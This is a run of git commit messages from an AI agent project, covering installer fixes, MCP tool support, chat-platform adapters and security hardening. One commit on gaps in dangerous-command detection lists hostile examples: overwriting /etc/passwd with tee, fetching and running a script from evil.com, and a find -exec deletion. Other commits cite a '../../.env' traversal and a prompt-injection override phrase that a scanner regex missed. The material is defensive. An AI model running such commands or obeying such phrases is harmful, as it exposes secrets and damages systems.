- Update completion message to show actual paths
The previous fix set git config --global before clone, but on systems
where atomic writes are broken (OneDrive, antivirus, NTFS filter
drivers), even writing ~/.gitconfig fails with 'Invalid argument'.
Fix: inject the config via GIT_CONFIG_COUNT/KEY/VALUE environment
variables, which git reads before performing any file I/O. This
bypasses the chicken-and-egg problem where git can't write the config
file that would fix its file-writing issue.
Git for Windows can fail during clone when copying hook template files
from the system templates directory. The error:
fatal: cannot copy '.../templates/hooks/fsmonitor-watchman.sample'
to '.git/hooks/...': Invalid argument
The script already set windows.appendAtomically=false but only AFTER
clone, which is too late since clone itself triggers the error.
Fix:
- Set git config --global windows.appendAtomically false BEFORE clone
- Add a third fallback: clone with --template='' to skip hook template
copying entirely (they're optional .sample files)
When running via 'irm ... | iex', the script executes in the caller's
session scope. The 'exit 1' calls (lines 424, 460, 849-851) would kill
the entire PowerShell window instead of just stopping the script.
Fix:
- Replace all 'exit 1' with 'throw' for proper error propagation
- Wrap Main() call in try/catch so errors are caught and displayed
with a helpful message instead of silently closing the terminal
- Show fallback instructions to download and run as a .ps1 file
if the piped install keeps failing
- Set 'git config windows.appendAtomically false' in hermes update
command (win32 only) and in install.ps1 after cloning. Fixes the
'fatal: unable to write loose object file: Invalid argument' error
on Windows filesystems.
- Fix venv pip fallback path: Scripts/pip on Windows vs bin/pip on Unix
- Gate .env encoding fix behind _IS_WINDOWS (no change to Linux/macOS)
On Windows, open() without explicit encoding uses the system locale
(cp1252/etc.), which can cause OSError errno 22 'Invalid argument'
when reading/writing the UTF-8 .env file.
Fix: gate encoding kwargs behind _IS_WINDOWS check so Linux/macOS
code paths are completely unchanged. Only Windows gets explicit
encoding='utf-8' on load_env() and save_env_value().
The ECMA schema directory was misspelled as 'fouth-edition'
instead of 'fourth-edition'. Renamed all 4 files within to
correct the path:
- opc-contentTypes.xsd
- opc-coreProperties.xsd
- opc-digSig.xsd
- opc-relationships.xsd
The ECMA schema directory was misspelled as 'fouth-edition'
instead of 'fourth-edition'. Renamed all 4 files within to
correct the path:
- opc-contentTypes.xsd
- opc-coreProperties.xsd
- opc-digSig.xsd
- opc-relationships.xsd
The is_existing check included 'get_config_path().exists()' which is
always True after installation (the installer copies config.yaml from
the template). This caused the wizard to enter quick mode, which
skips provider selection entirely — leaving hermes non-functional.
Fix: only consider it an existing installation when an actual
inference provider is configured (OPENROUTER_API_KEY, OPENAI_BASE_URL,
or an active OAuth provider). Fresh installs now correctly show the
full setup flow with provider selection.
The ECMA schema directory was misspelled as 'fouth-edition'
instead of 'fourth-edition'. Renamed all 4 files within to
correct the path:
- opc-contentTypes.xsd
- opc-coreProperties.xsd
- opc-digSig.xsd
- opc-relationships.xsd
The ECMA schema directory was misspelled as 'fouth-edition'
instead of 'fourth-edition'. Renamed all 4 files within to
correct the path:
- opc-contentTypes.xsd
- opc-coreProperties.xsd
- opc-digSig.xsd
- opc-relationships.xsd
Root cause: PowerShell with $ErrorActionPreference = 'Stop' only
creates NativeCommandError from stderr when you CAPTURE it via 2>&1.
Without the redirect, stderr flows directly to the console and
PowerShell never intercepts it.
This is how OpenClaw's install.ps1 handles it — bare git commands
with no stderr redirection. Wrap SSH clone attempt in try/catch
since it's expected to fail (falls back to HTTPS).
Three section header comments in tests/test_run_agent.py used
'Grup' instead of 'Group':
- Line 124: # Grup 1: Pure Functions
- Line 276: # Grup 2: State / Structure Methods
- Line 572: # Grup 3: Conversation Loop Pieces (OpenAI mock)
PowerShell with $ErrorActionPreference = 'Stop' treats ANY stderr
output from native commands as a terminating NativeCommandError —
even successful git operations that write progress to stderr
(e.g. 'Cloning into ...').
Fix: temporarily set $ErrorActionPreference = 'Continue' around all
git commands (clone, fetch, checkout, pull, submodule update). This
lets git run normally while preserving strict error handling for
the rest of the installer.
The Windows installer was swallowing uv python install errors with
| Out-Null, making failures impossible to diagnose. Now:
- Shows the actual uv error output when installation fails
- Falls back to finding any existing Python 3.10-3.13 on the system
- Falls back to system python if available
- Shows helpful manual install instructions (python.org URL + winget)
Add an interactive OS selector widget to the hero section and install
steps, inspired by OpenClaw's install UI:
- macOS-style window chrome with red/yellow/green dots
- Three clickable tabs: Linux/macOS, PowerShell, CMD
- Command text, shell prompt, and note update on tab click
- Auto-detects visitor's OS and selects the right tab on page load
- Install steps section also gets synced platform tabs
- Simplified Windows note section (tabs above now cover all platforms)
- Fully responsive — icons hidden on mobile, tabs wrap properly
The ImportError fallback set ContextTypes = Any, but then
ContextTypes.DEFAULT_TYPE was used as a type annotation at class
definition time — Any doesn't have .DEFAULT_TYPE, causing AttributeError.
Fix: create a _MockContextTypes class with DEFAULT_TYPE = Any.
Also stub CommandHandler, TelegramMessageHandler, filters, ParseMode,
and ChatType to prevent potential NameErrors.
Fixes#304.
- Add scripts/install.cmd batch wrapper for CMD users (delegates to install.ps1)
- Add _find_shell() in local.py: detects Git Bash on Windows via
HERMES_GIT_BASH_PATH env var, shutil.which, or common install paths
(same pattern as Claude Code's CLAUDE_CODE_GIT_BASH_PATH)
- Use _find_shell() in process_registry.py for background processes
- Fix hermes_cli/gateway.py: use wmic instead of ps aux on Windows,
skip SIGKILL (doesn't exist on Windows), fix venv path
(Scripts/python.exe vs bin/python)
- Update README with three install commands (Linux/macOS, PowerShell, CMD)
and Windows native documentation
Requires Git for Windows, which bundles bash.exe. The terminal tool
transparently uses Git Bash for shell commands regardless of whether
the user launched hermes from PowerShell or CMD.
After /reload-mcp updates self.agent.tools, immediately call
_persist_session() so the session JSON file at ~/.hermes/sessions/
reflects the new tools list. Without this, the tools field in the
session log would only update on the next conversation turn — if
the user quit after reloading, the log would have stale tools.
- CLI: After reload, refreshes self.agent.tools and valid_tool_names
so the model sees updated tools on its next API call
- Both CLI and Gateway: Appends a [SYSTEM: ...] message at the END
of conversation history explaining what changed (added/removed/
reconnected servers, tool count). This preserves prompt-cache for
the system prompt and earlier messages — only the tail changes.
- Gateway already creates a new AIAgent per message so tools refresh
naturally; the injected message provides context for the model
Banner integration:
- MCP Servers section in CLI startup banner between Tools and Skills
- Shows each server with transport type, tool count, connection status
- Failed servers shown in red; section hidden when no MCP configured
- Summary line includes MCP server count
- Removed raw print() calls from discovery (banner handles display)
/reload-mcp command:
- New slash command in both CLI and gateway
- Disconnects all MCP servers, re-reads config.yaml, reconnects
- Reports what changed (added/removed/reconnected servers)
- Allows adding/removing MCP servers without restarting
Resources & Prompts support:
- 4 utility tools registered per server: list_resources, read_resource,
list_prompts, get_prompt
- Exposes MCP Resources (data sources) and Prompts (templates) as tools
- Proper parameter schemas (uri for read_resource, name for get_prompt)
- Handles text and binary resource content
- 23 new tests covering schemas, handlers, and registration
Test coverage: 74 MCP tests total, 1186 tests pass overall.
- Discovery is now parallel (asyncio.gather) instead of sequential,
fixing the 60s shared timeout issue with multiple servers
- Startup messages use print() so users see connection status even
with default log levels (the 'tools' logger is set to ERROR)
- Summary line shows total tools and failed servers count
- Validate conflicting config: warn if both 'url' and 'command' are
present (HTTP takes precedence)
- Update TODO.md: mark MCP as implemented, list remaining work
- Add test for conflicting config detection (51 tests total)
All 1163 tests pass.
Updated the README and messaging documentation to clarify the two modes for WhatsApp integration: 'bot' mode (recommended) and 'self-chat' mode. Improved setup instructions to guide users through the configuration process, including allowlist management and dependency installation. Adjusted CLI commands to reflect these changes and ensure a smoother user experience. Additionally, modified the WhatsApp bridge to support the new mode functionality.
When both OPENROUTER_API_KEY and OPENAI_API_KEY are set (e.g. OPENAI_API_KEY
in .bashrc), the wrong key was sent to OpenRouter causing auth failures.
Fixed key resolution order in cli.py and runtime_provider.py.
Fixes#289
- Wrap commands with unique fence markers (printf FENCE; cmd; printf FENCE)
to isolate real output from shell init/exit noise (oh-my-zsh, macOS
session restore/save, docker plugin errors, etc.)
- Expand _clean_shell_noise to cover zsh/macOS patterns and strip from
both beginning and end (fallback when fences are missing)
- Fix BSD find compatibility: fallback to simple find when -printf
produces empty output (macOS)
- Fix test_terminal_disk_usage: use sys.modules to get the real module
instead of the shadowed function from tools/__init__.py
- Add 13 new unit tests for fence extraction and zsh noise patterns
Add a /send-media endpoint to the WhatsApp bridge and corresponding
adapter methods so the agent can send files as native WhatsApp
attachments instead of plain-text URLs/paths.
- bridge.js: new POST /send-media endpoint using Baileys' native
image/video/document/audio message types with MIME detection
- base.py: add send_video(), send_document(), send_image_file()
with text fallbacks; route MEDIA: tags by file extension instead
of always treating them as voice messages
- whatsapp.py: implement all media methods via a shared
_send_media_to_bridge() helper; override send_image() to download
URLs to local cache and send as native photos
- prompt_builder.py: update WhatsApp and Telegram platform hints so
the agent knows it can use MEDIA:/path tags to send native media
- Add threading.Lock protecting all shared state (_servers, _mcp_loop, _mcp_thread)
- Fix deadlock in shutdown_mcp_servers: _stop_mcp_loop was called inside
a _lock block but also acquires _lock (non-reentrant)
- Fix race condition in _ensure_mcp_loop with concurrent callers
- Change idempotency to per-server (retry failed servers, skip connected)
- Dynamic toolset injection via startswith("hermes-") instead of hardcoded list
- Parallel shutdown via asyncio.gather instead of sequential loop
- Add tests for partial failure retry, parallel shutdown, dynamic injection
Patch _servers to empty dict in tests that call discover_mcp_tools()
with mocked config, preventing interference from real MCP connections
that may exist when running within the full test suite.
When discover_mcp_tools() is called multiple times (e.g. direct call
then model_tools import), return existing tool names instead of opening
new connections that would orphan the previous ones.
Refactor MCP connections from AsyncExitStack to task-per-server
architecture. Each server now runs as a long-lived asyncio Task
with `async with stdio_client(...)`, ensuring anyio cancel-scope
cleanup happens in the same Task that opened the connection.
Connect to external MCP servers via stdio transport, discover their tools
at startup, and register them into the hermes-agent tool registry.
- New tools/mcp_tool.py: config loading, server connection via background
event loop, tool handler factories, discovery, and graceful shutdown
- model_tools.py: trigger MCP discovery after built-in tool imports
- cli.py: call shutdown_mcp_servers in _run_cleanup
- pyproject.toml: add mcp>=1.2.0 as optional dependency
- 27 unit tests covering config, schema conversion, handlers, registration,
SDK interaction, toolset injection, graceful fallback, and shutdown
Config format (in ~/.hermes/config.yaml):
mcp_servers:
filesystem:
command: "npx"
args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
Issue #263: Telegram/Discord/WhatsApp/Slack now show tool call details
based on display.tool_progress in config.yaml.
Changes:
- gateway/run.py: 'verbose' mode shows full args (keys + JSON, 200 char
max). 'all' mode preview increased from 40 to 80 chars. Added missing
tool emojis (execute_code, delegate_task, clarify, skill_manage,
search_files).
- agent/display.py: Added execute_code, delegate_task, clarify,
skill_manage to primary_args. Added 'code' and 'goal' to fallback keys.
- run_agent.py: Pass function_args dict to tool_progress_callback so
gateway can format based on its own verbosity config.
Config usage:
display:
tool_progress: verbose # off | new | all | verbose
Added a fixture to redirect HERMES_HOME to a temporary directory during tests, preventing writes to the user's home directory. Updated the test for DebugSession to create a dedicated log directory for saving logs, ensuring test isolation and accuracy in assertions.
Three attack vectors bypassed the dangerous command detection system:
1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd
2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)
3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
The TestFlushSentinelNotLeaked test from PR #227 had two issues:
1. flush_memories() uses get_text_auxiliary_client() which could bypass
agent.client entirely — mock it to return (None, None)
2. No assertion that the API was actually called — added guard assert
Without these fixes the test passed vacuously (API never called).
The TestRetryExhaustion tests from PR #223 didn't mock time.sleep/time.time,
causing the retry backoff loops (275s+ total) to run in real time. Tests would
time out instead of running quickly.
Added _make_fast_time_mock() helper that creates a mock time module where
time.time() advances 500s per call (so sleep_end is always in the past) and
time.sleep() is a no-op. Both tests now complete in <1s.
The OpenAI API returns content: null on assistant messages with tool
calls. msg.get('content', '') returns None when the key exists with
value None, causing TypeError on len(), string concatenation, and
.strip() in downstream code paths.
Fixed 4 locations that process conversation messages:
- agent/auxiliary_client.py:84 — None passed to API calls
- cli.py:1288 — crash on content[:200] and len(content)
- run_agent.py:3444 — crash on None.strip()
- honcho_integration/session.py:445 — 'None' rendered in transcript
13 other instances were verified safe (already protected, only process
user/tool messages, or use the safe pattern).
Pattern: msg.get('content', '') → msg.get('content') or ''
Fixes#276
skill_view accepted arbitrary file_path values like '../../.env' and
would read files outside the skill directory, exposing API keys and
other sensitive data.
Added two layers of defense:
1. Reject paths with '..' components (fast, catches obvious traversal)
2. resolve() containment check with trailing '/' to prevent prefix
collisions (catches symlinks and edge cases)
Fix approach from PR #242 (@Bartok9). Vulnerability reported by
@Farukest (#220, PR #221). Tests rewritten to properly mock SKILLS_DIR.
Closes#220
The OpenAI API returns content: null on assistant messages that only
contain tool calls. msg.get('content', '') returns None (not '') when
the key exists with value None, causing TypeError on len() and string
concatenation in _generate_summary and compress.
Fix: msg.get('content') or '' — handles both missing keys and None.
Tests from PR #216 (@Farukest). Fix also in PR #215 (@cutepawss).
Both PRs had stale branches and couldn't be merged directly.
Closes#211
Priority is: CLI arg > config file > env var > default
(not env var > config file as the old comment stated)
The test failed because config.yaml had max_turns at both root level
and inside agent section. The test cleared agent.max_turns but the
root-level value still took precedence over the env var. Fixed the
test to clear both, and corrected the comment to match the intended
priority order.
If any worker raises inside pool.imap_unordered(), the exception
propagates through the for loop and the results list is left
incomplete. The finally block correctly restores the log level but
the error is swallowed with no diagnostic information.
Added an explicit except block that logs the full traceback via
exc_info=True before re-raising, making batch worker failures
visible in logs without changing the existing control flow.
The Docker sandbox previously used --read-only on the root filesystem and
noexec on /tmp. This broke 30+ skills that need to install packages:
- npm install -g (codex, claude-code, mcporter, powerpoint)
- pip install (20+ mlops/media/productivity skills)
- apt install (minecraft-modpack-server, ml-paper-writing)
- Build tools that compile in /tmp (pip wheels, node-gyp)
The container is already fully isolated from the host. Industry standard
(E2B, Docker Sandboxes, OpenAI Codex) does not use --read-only — the
container itself is the security boundary.
Retained security hardening:
- --cap-drop ALL (zero capabilities)
- --security-opt no-new-privileges (no escalation)
- --pids-limit 256 (no fork bombs)
- Size-limited tmpfs for /tmp, /var/tmp, /run
- nosuid on all tmpfs mounts
- noexec on /var/tmp and /run (rarely need exec there)
- Resource limits (CPU, memory, disk)
- Ephemeral containers (destroyed after use)
Fixes#189.
logger.error() only records the exception message string, silently
discarding the stack trace. Switch to logger.exception() which
automatically appends the full traceback to the log output.
Without this change, when a tool handler raises an unexpected error
the log shows only the exception type and message, making it
impossible to determine which line caused the failure or trace
through nested calls.
Tests added:
- Roundtrip serialization of chat_topic via to_dict/from_dict
- chat_topic defaults to None when missing from dict
- Channel Topic line appears in session context prompt when set
- Channel Topic line is omitted when chat_topic is None
Follow-up to PR #248 (feat: Discord channel topic in session context).
Authored by Bartok9. Fixes#163.
Surfaces Discord channel topics in the agent's session context prompt,
allowing the agent to adapt its behavior based on the channel's purpose.
* fix(agent): skip reasoning param for Mistral API to prevent 422 errors
* fix(agent): strip finish_reason from assistant messages to fix Mistral 422 errors
load_cli_config() only merged keys present in its hardcoded defaults
dict, silently dropping user-added keys like platform_toolsets (saved
by 'hermes tools'), provider_routing, memory, honcho, etc.
Added a second pass to carry over all file_config keys that aren't in
defaults, so 'hermes tools' changes actually take effect in CLI mode.
The gateway was unaffected (reads YAML directly via yaml.safe_load).
Updated the AIAgent class to print the full content of assistant messages without truncation, enhancing visibility of the messages during runtime. This change improves the clarity of communication from the agent.
- /retry, /undo, /compress were setting a non-existent conversation_history
attribute on SessionEntry (a @dataclass with no such field). The dangling
attribute was silently created but never read — transcript was reloaded
from DB on next interaction, making all three commands no-ops.
- /reset accessed self.session_store._sessions (non-existent) instead of
self.session_store._entries, causing AttributeError caught by a bare
except, silently skipping the pre-reset memory flush.
Fix:
- Add SessionDB.clear_messages() to delete messages and reset counters
- Add SessionStore.rewrite_transcript() to atomically replace transcript
in both SQLite and legacy JSONL storage
- Replace all dangling attr assignments with rewrite_transcript() calls
- Fix _sessions → _entries in /reset handler
Closes#210
Added the tools attribute to the AIAgent class's status output, ensuring that the current tools used by the agent are included in the status information. This enhancement improves the visibility of the agent's capabilities during runtime.
Added the system prompt to the AIAgent class's status output, ensuring that the current system prompt is included in the agent's status information. This enhancement improves visibility into the agent's configuration during runtime.
Enhanced error handling in the _model_flow_nous function to detect session expiration and prompt for re-authentication with the Nous Portal. Added logic to manage re-login attempts and provide user feedback on success or failure, improving the overall user experience during authentication issues.
Enhanced the AIAgent class to capture and normalize summary information for reasoning items. Implemented logic to handle summaries as lists, ensuring proper formatting for API interactions. Updated tests to validate the inclusion of summaries in reasoning items, both for existing and default cases.
Updated the authentication mechanism to store Codex OAuth tokens in the Hermes auth store located at ~/.hermes/auth.json instead of the previous ~/.codex/auth.json. This change includes refactoring related functions for reading and saving tokens, ensuring better management of authentication states and preventing conflicts between different applications. Adjusted tests to reflect the new storage structure and improved error handling for missing or malformed tokens.
Introduced a new `provider_routing` section in the CLI configuration to control how requests are routed across providers when using OpenRouter. This includes options for sorting providers by throughput, latency, or price, as well as allowing or ignoring specific providers, setting the order of provider attempts, and managing data collection policies. Updated relevant classes and documentation to support these features, enhancing flexibility in provider selection.
Updated the CLI header formatting for tool and configuration displays to center titles within their respective widths. Enhanced the display of command descriptions to include an ellipsis for longer texts, ensuring better readability. This refactor improves the overall user interface of the CLI.
Updated the install.sh script to set DEBIAN_FRONTEND and NEEDRESTART_MODE environment variables for non-interactive package installations on Ubuntu and Debian. This change ensures that prompts from needrestart and whiptail do not block the installation process, improving automation for system package installations.
Added support for processing encrypted reasoning content within the AIAgent class. Introduced logic to determine reasoning effort and enable/disable reasoning based on configuration settings. Updated the kwargs to reflect these changes, ensuring proper handling of reasoning parameters during agent execution.
Updated documentation within terminal_tool.py to emphasize the appropriate use of foreground and background processes. Enhanced descriptions for the timeout setting and background execution to guide users towards optimal configurations for scripts, builds, and long-running tasks. Adjusted the default timeout value from 60 to 180 seconds for improved handling of longer operations.
Updated the environment variables for subprocess execution in the ProcessRegistry class to set PYTHONUNBUFFERED to "1". This change ensures that output from Python scripts is unbuffered, allowing for real-time visibility of progress during background execution. Adjusted both the pty and background process spawning methods to use the new environment configuration.
Updated the _process_single_prompt function to accept an optional 'image' field in prompt_data, allowing for per-prompt container image overrides. Implemented checks for Docker image accessibility and added logic to register task environment overrides for Docker, Modal, and Singularity. This improves flexibility in managing containerized environments for prompt execution.
Remove loop_scope="function" parameter from async test decorators in
test_hooks.py. This matches the existing convention in the repo
(test_telegram_documents.py) and avoids requiring pytest-asyncio 0.23+.
All 144 new tests from PR #191 now pass.
Block dangerous HA service domains (shell_command, command_line,
python_script, pyscript, hassio, rest_command) that allow arbitrary
code execution or SSRF. Add regex validation for entity_id to prevent
path traversal attacks. 17 new tests covering both security features.
Fixes#163
- Add chat_topic field to SessionSource dataclass
- Update to_dict/from_dict for serialization support
- Add chat_topic parameter to build_source helper
- Extract channel.topic in Discord adapter for messages and slash commands
- Display Channel Topic in system prompt when available
- Normalize empty topics to None
Enhanced the README and CLI documentation to include the newly added `/compress` and `/usage` commands for managing conversation context and monitoring token usage. Updated log descriptions to clarify the contents of log files and ensured that sensitive information is automatically redacted. This improves user understanding of available features and log management.
Implemented the /compress command to allow users to manually compress conversation context, ensuring sufficient history is available before execution. The /usage command was also added to display token usage statistics for the current session, including prompt and completion tokens. Updated command documentation to reflect these new features.
Introduced a new command "/usage" in the CLI to show cumulative token usage for the current session. This includes details on prompt tokens, completion tokens, total tokens, API calls, and context state. Updated command documentation to reflect this addition. Enhanced the AIAgent class to track token usage throughout the session.
Introduced a new command "/compress" to the CLI, allowing users to manually trigger context compression on the current conversation. The method checks for sufficient conversation history and active agent status before performing compression, providing feedback on the number of messages and tokens before and after the operation. Updated command documentation accordingly.
Fixes#241
When users set HONCHO_API_KEY via `hermes config set` or environment
variable, they expect the integration to activate. Previously, the
`enabled` flag defaulted to `false` when reading from global config,
requiring users to also explicitly enable Honcho.
This change auto-enables Honcho when:
- An API key is present (from config file or env var)
- AND `enabled` is not explicitly set to `false` in the config
Users who want to disable Honcho while keeping the API key can still
set `enabled: false` in their config.
Also adds unit tests for the auto-enable behavior.
Two fixes to the subagent progress display from PR #186:
1. Task index prefix: show 1-indexed prefix ([1], [2], ...) for ALL
tasks in batch mode (task_count > 1). Single tasks get no prefix.
Previously task 0 had no prefix while others did, making batch
output confusing.
2. Completion indicator: use spinner.print_above() instead of raw
print() for per-task completion lines (✓ [1/2] ...). Raw print
collided with the active spinner, mushing the completion text
onto the spinner line. Now prints cleanly above.
Added task_count parameter to _build_child_progress_callback and
_run_single_child. Updated tests accordingly.
print_above() used \033[K (erase-to-end-of-line) to clear the spinner
line before printing text above it. This causes garbled escape codes when
prompt_toolkit's patch_stdout is active in CLI mode.
Switched to the same spaces-based clearing approach used by stop() —
overwrite with blanks, then carriage return back to start of line.
Updated test assertion to match the new clearing method.
When subagents run via delegate_task, the user now sees real-time
progress instead of silence:
CLI: tree-view activity lines print above the delegation spinner
🔀 Delegating: research quantum computing
├─ 💭 "I'll search for papers first..."
├─ 🔍 web_search "quantum computing"
├─ 📖 read_file "paper.pdf"
└─ ⠹ working... (18.2s)
Gateway (Telegram/Discord): batched progress summaries sent every
5 tool calls to avoid message spam. Remaining tools flushed on
subagent completion.
Changes:
- agent/display.py: add KawaiiSpinner.print_above() to print
status lines above an active spinner without disrupting animation.
Uses captured stdout (self._out) so it works inside the child's
redirect_stdout(devnull).
- tools/delegate_tool.py: add _build_child_progress_callback()
that creates a per-child callback relaying tool calls and
thinking events to the parent's spinner (CLI) or progress
queue (gateway). Each child gets its own callback instance,
so parallel subagents don't share state. Includes _flush()
for gateway batch completion.
- run_agent.py: fire tool_progress_callback with '_thinking'
event when the model produces text content. Guarded by
_delegate_depth > 0 so only subagents fire this (prevents
gateway spam from main agent). REASONING_SCRATCHPAD/think/
reasoning XML tags are stripped before display.
Tests: 21 new tests covering print_above, callback builder,
thinking relay, SCRATCHPAD filtering, batching, flush, thread
isolation, delegate_depth guard, and prefix handling.
- Introduce a new test suite in `test_file_tools_live.py` to validate file operations and ensure accurate command execution in a real environment.
- Implement assertions to check for shell noise contamination in outputs, enhancing the reliability of command results.
- Create fixtures for setting up a local environment and populating directories with known file contents for comprehensive testing.
- Refactor shell noise handling in `process_registry.py` and `local.py` to support multiple noise patterns, improving output cleanliness.
- Introduce a separate error log for capturing warnings and errors related to tool execution, ensuring detailed inspection of issues post-failure.
- Enhance error handling in the AIAgent class to log exceptions with stack traces for better debugging.
- Add a similar error logging mechanism in the gateway to streamline debugging processes.
- Implement logic to distinguish between "full" memory errors and actual failures in the `_detect_tool_failure` function.
- Add JSON parsing to identify specific error messages related to memory limits, improving error handling for memory-related tools.
- Introduce a new test suite for the `redact_sensitive_text` function, covering various sensitive data formats including API keys, tokens, and environment variables.
- Ensure that sensitive information is properly masked in logs and outputs while non-sensitive data remains unchanged.
- Add tests for different scenarios including JSON fields, authorization headers, and environment variable assignments.
- Implement a redacting formatter for logging to enhance security during log output.
- Replace `hermes login` with `hermes model` for selecting providers and managing authentication.
- Update documentation and CLI commands to reflect the new provider selection process.
- Introduce a new redaction system for logging sensitive information.
- Enhance Codex model discovery by integrating API fetching and local cache.
- Adjust max turns configuration logic for better clarity and precedence.
- Improve error handling and user feedback during authentication processes.
- Enhanced Codex model discovery by fetching available models from the API, with fallback to local cache and defaults.
- Updated the context compressor's summary target tokens to 2500 for improved performance.
- Added external credential detection for Codex CLI to streamline authentication.
- Refactored various components to ensure consistent handling of authentication and model selection across the application.
Add a new hooks system allowing users to run custom code at key lifecycle points in the agent's operation. This includes support for events such as `gateway:startup`, `session:start`, `agent:step`, and more. Documentation for creating hooks and available events has been added to `README.md` and a new `hooks.md` file. Additionally, integrate step callbacks in the agent to facilitate hook execution during tool-calling iterations.
Refactor the extraction of MEDIA paths to collect them from the history before processing the current turn's messages. This change ensures that MEDIA tags are deduplicated based on previously seen paths, preventing TTS voice messages from being re-attached in subsequent replies. This addresses the issue outlined in #160.
The retry exhaustion checks used > instead of >= to compare
retry_count against max_retries. Since the while loop condition is
retry_count < max_retries, the check retry_count > max_retries can
never be true inside the loop. When retries are exhausted, the loop
exits and falls through to response.choices[0] on an invalid response,
crashing with IndexError instead of returning a proper error.
os.setsid, os.killpg, and os.getpgid do not exist on Windows and raise
AttributeError on import or first call. This breaks the terminal tool,
code execution sandbox, process registry, and WhatsApp bridge on Windows.
Added _IS_WINDOWS platform guard in all four affected files, following
the pattern documented in CONTRIBUTING.md. On Windows, preexec_fn is
set to None and process termination falls back to proc.terminate() /
proc.kill() instead of process group signals.
Files changed:
- tools/environments/local.py (3 call sites)
- tools/process_registry.py (2 call sites)
- tools/code_execution_tool.py (3 call sites)
- gateway/platforms/whatsapp.py (3 call sites)
/retry and /undo set session_entry.conversation_history which does not
exist on SessionEntry. The truncated history was never written to disk,
so the next message reload picked up the full unmodified transcript.
Added SessionStore.rewrite_transcript() that persists changes to both
the JSONL file and SQLite database, and updated both commands to use it.
/reset accessed self.session_store._sessions which does not exist on
SessionStore (the correct attribute is _entries). Also replaced the
hand-coded session key with _generate_session_key() to fix WhatsApp DM
sessions using the wrong key format.
Closes#210
Unicode-based ASCII art generator skill with multiple styles
(block, shadow, outlined, gradient, decorative frame), character
palette reference, and usage examples. No external dependencies.
The italic regex \*([^*]+)\* used [^*] which matches newlines, causing
bullet lists with * markers to be incorrectly converted to italic text.
Changed to [^*\n]+ to prevent cross-line matching.
Adds 43 tests for _escape_mdv2 and format_message covering code blocks,
bold/italic, headers, links, mixed formatting, and the regression case.
- unified_search and GitHubSource.search dedup: replace naive
`trust_level == "trusted"` check with ranked comparison so
"builtin" results are never overwritten by "trusted" or "community"
- Add 43 unit tests covering _parse_frontmatter_quick, trust_level_for,
HubLockFile CRUD, TapsManager ops, LobeHub _convert_to_skill_md,
unified_search dedup (with regression test), and append_audit_log
- extract_images: only remove extracted image tags from content, preserve
non-image markdown links (e.g. PDFs) that were previously silently lost
- truncate_message: walk only chunk_body (not prepended prefix) so the
reopened code fence does not toggle in_code off, leaving continuation
chunks with unclosed code blocks
- Add 49 unit tests covering MessageEvent command parsing, extract_images,
extract_media, truncate_message code block handling, and _get_human_delay
The regex `ignore\s+(previous|all|...)\s+instructions` only matched
a single keyword between 'ignore' and 'instructions'. Phrases like
'ignore all prior instructions' bypassed the scanner entirely.
Changed to `ignore\s+(?:\w+\s+)*(previous|all|...)\s+instructions`
to allow arbitrary words before the keyword.
Gemini 3 thinking models attach extra_content with thought_signature
to function call responses. This must be echoed back on subsequent
API calls or the server rejects with a 400 error. The assistant
message builder was dropping this field, causing all Gemini 3 Flash/Pro
tool-calling flows to fail after the first function call.
- Auto-authorize HA events in gateway (system-generated, not user messages)
- Guard _read_events against None/closed WebSocket after failed reconnect
- Use UUID for send() message_id instead of polluting WS sequence counter
- entity_id parameter now takes precedence over data["entity_id"]
- Add ha_list_entities, ha_get_state, ha_call_service tools via REST API
- Add WebSocket gateway adapter for real-time state_changed event monitoring
- Support domain/entity filtering, cooldown, and auto-reconnect with backoff
- Use REST API for outbound notifications to avoid WS race condition
- Gate tool availability on HASS_TOKEN env var
- Add 82 unit tests covering real logic (filtering, payload building, event pipeline)
Fixes#160
The issue was that MEDIA tags were being extracted from ALL messages
in the conversation history, not just messages from the current turn.
This caused TTS voice messages generated in earlier turns to be
re-attached to every subsequent reply.
The fix:
- Track history_len before calling run_conversation
- Only scan messages AFTER history_len for MEDIA tags
- Add comprehensive tests to prevent regression
This ensures each voice message is sent exactly once, when it's
generated, not on every subsequent message in the session.
Fixes#149
The _strip_think_blocks() method existed but was not applied to the
final_response in the normal completion path. This caused <think>...</think>
XML tags to leak into user-facing responses on all platforms (CLI, Telegram,
Discord, Slack, WhatsApp).
Changes:
- Strip think blocks from final_response before returning in normal path (line ~2600)
- Strip think blocks from fallback content when salvaging from prior tool_calls turn
Notes:
- The raw content with think blocks is preserved in messages[] for trajectory
export - this only affects the user-facing final_response
- The _has_content_after_think_block() check still uses raw content before
stripping, which is correct for detecting think-only responses
- Use ENTRY_DELIMITER (\\n§\\n) instead of '§' when splitting entries in _read_file
- Prevents incorrect parsing when memory entries contain '§' character
- Aligns read logic with write logic for consistency
The 413 "Request Entity Too Large" error from the LLM API was caught by the
generic 4xx handler which aborts immediately. This is wrong for 413 — it's a
payload-size issue that can be resolved by compressing conversation history.
- Intercept 413 before the generic 4xx block and route to _compress_context
- Exclude 413 from generic is_client_error detection
- Add 'request entity too large' to context-length phrases as safety net
- Add tests for 413 compression behavior
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
- Sanitize filenames in cache_document_from_bytes to prevent path traversal (strip directory components, null bytes, resolve check)
- Reject documents with None file_size instead of silently allowing download
- Cap text file injection at 100 KB to prevent oversized prompt payloads
- Sanitize display_name in run.py context notes to block prompt injection via filenames
- Add 35 unit tests covering document cache utilities and Telegram document handling
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Download, cache, and enrich document files sent via Telegram. Supports
.pdf, .md, .txt, .docx, .xlsx, .pptx with size validation, unsupported
type rejection, text content injection for .md/.txt, and hourly cache
cleanup.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Adds a comprehensive reference for all CLI slash commands including:
- Navigation & control commands
- Tools & configuration commands
- Conversation management
- Advanced features (cron, skills, platforms)
- Usage examples
- Tips for users
Makes it easier for new users to discover available commands.
Add 5 new skills for professional software development workflows,
adapted from the Superpowers project ( obra/superpowers ):
- test-driven-development: RED-GREEN-REFACTOR cycle enforcement
